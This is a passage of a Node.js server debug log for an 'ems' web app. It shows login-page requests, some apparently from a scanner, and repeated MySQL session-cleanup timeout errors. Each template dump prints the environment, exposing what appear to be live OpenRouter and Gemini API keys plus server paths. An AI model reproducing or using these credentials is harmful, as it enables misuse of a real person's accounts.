  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T18:01:32.877Z server-connect:output restrict: undefined
2026-04-13T18:01:33.052Z server-connect:router Serving templateView /login
2026-04-13T18:01:33.053Z server-connect:app Executing action step identify
2026-04-13T18:01:33.053Z server-connect:app options: { provider: 'security' }
2026-04-13T18:01:33.053Z server-connect:auth No login cookie found
2026-04-13T18:01:33.053Z server-connect:output identity: false
2026-04-13T18:01:33.053Z server-connect:router Render template layouts/authentication
2026-04-13T18:01:33.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.125.51.16',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-14T18:01:33.052Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.125.51.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.125.51.16',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-13T18:13:56.559Z server-connect:router Serving templateView /
2026-04-13T18:13:56.559Z server-connect:app Executing action step identify
2026-04-13T18:13:56.559Z server-connect:app options: { provider: 'security' }
2026-04-13T18:13:56.559Z server-connect:auth No login cookie found
2026-04-13T18:13:56.559Z server-connect:output identity: false
2026-04-13T18:13:56.560Z server-connect:app Executing action step restrict
2026-04-13T18:13:56.560Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-13T18:13:56.560Z server-connect:output restrict: undefined
2026-04-13T18:13:56.730Z server-connect:router Serving templateView /login
2026-04-13T18:13:56.731Z server-connect:app Executing action step identify
2026-04-13T18:13:56.731Z server-connect:app options: { provider: 'security' }
2026-04-13T18:13:56.731Z server-connect:auth No login cookie found
2026-04-13T18:13:56.731Z server-connect:output identity: false
2026-04-13T18:13:56.731Z server-connect:router Render template layouts/authentication
2026-04-13T18:13:56.731Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.168.203.255',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-14T18:13:56.730Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.168.203.255',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.168.203.255',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 18:24:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 18:24:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-13 18:32:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-13 18:32:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 00:09:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 00:09:46' as DATETIME)"
}
2026-04-14T01:17:40.751Z server-connect:router Serving templateView /
2026-04-14T01:17:40.752Z server-connect:app Executing action step identify
2026-04-14T01:17:40.752Z server-connect:app options: { provider: 'security' }
2026-04-14T01:17:40.753Z server-connect:auth No login cookie found
2026-04-14T01:17:40.753Z server-connect:output identity: false
2026-04-14T01:17:40.753Z server-connect:app Executing action step restrict
2026-04-14T01:17:40.753Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T01:17:40.753Z server-connect:output restrict: undefined
2026-04-14T01:17:41.161Z server-connect:router Serving templateView /login
2026-04-14T01:17:41.161Z server-connect:app Executing action step identify
2026-04-14T01:17:41.161Z server-connect:app options: { provider: 'security' }
2026-04-14T01:17:41.161Z server-connect:auth No login cookie found
2026-04-14T01:17:41.161Z server-connect:output identity: false
2026-04-14T01:17:41.161Z server-connect:router Render template layouts/authentication
2026-04-14T01:17:41.162Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '34.169.255.156',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T01:17:41.160Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.169.255.156',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '34.169.255.156',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T01:19:14.849Z server-connect:router Serving templateView /
2026-04-14T01:19:14.849Z server-connect:app Executing action step identify
2026-04-14T01:19:14.849Z server-connect:app options: { provider: 'security' }
2026-04-14T01:19:14.849Z server-connect:auth No login cookie found
2026-04-14T01:19:14.849Z server-connect:output identity: false
2026-04-14T01:19:14.849Z server-connect:app Executing action step restrict
2026-04-14T01:19:14.849Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T01:19:14.850Z server-connect:output restrict: undefined
2026-04-14T01:19:15.159Z server-connect:router Serving templateView /login
2026-04-14T01:19:15.160Z server-connect:app Executing action step identify
2026-04-14T01:19:15.160Z server-connect:app options: { provider: 'security' }
2026-04-14T01:19:15.160Z server-connect:auth No login cookie found
2026-04-14T01:19:15.160Z server-connect:output identity: false
2026-04-14T01:19:15.160Z server-connect:router Render template layouts/authentication
2026-04-14T01:19:15.160Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '185.246.209.150',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T01:19:15.159Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '185.246.209.150',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '185.246.209.150',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 04:17:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 04:17:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 04:49:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 04:49:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 05:21:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 05:21:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 09:51:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 09:51:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 10:58:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
